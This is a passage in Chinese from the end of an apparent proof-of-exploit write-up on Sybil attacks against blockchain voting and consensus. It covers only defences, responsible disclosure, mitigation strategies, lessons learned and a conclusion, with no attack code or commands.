- 实施操作频率限制
- 明确处理边界情况和错误
实际应用场景:
- 去中心化自治组织 (DAO) 的治理投票
- 代币持有者投票
- 链上公投系统
更高级的防护策略:
- 结合权益证明 (PoS) 增加攻击成本
- 集成外部身份验证系统
- 实施信誉和历史行为分析
漏洞披露
- 该PoE已被记录并负责任地披露给区块链开发者、网络维护者和相关安全社区,以提高对女巫攻击的认识并促使采取缓解措施。
缓解策略
为了缓解女巫攻击漏洞,请考虑实施以下策略:
- 实施身份验证机制,以防止在网络中创建虚假或重复身份。
- 使用声誉系统或权益证明机制来阻止女巫节点的创建并鼓励诚实参与。
- 采用网络级防御,例如对等信誉评分或IP地址过滤,以实时检测和缓解女巫攻击。
经验教训
- 女巫攻击PoE突显了区块链生态系统中对稳健的身份管理、共识安全和网络弹性的迫切需求。
- 它强调了持续研究和协作以应对漏洞并加强区块链网络以防御攻击的重要性。
结论
女巫攻击PoE强调了解决区块链共识机制中漏洞的紧迫性,并强调了在区块链网络中维护信任、去中心化和安全性的重要性。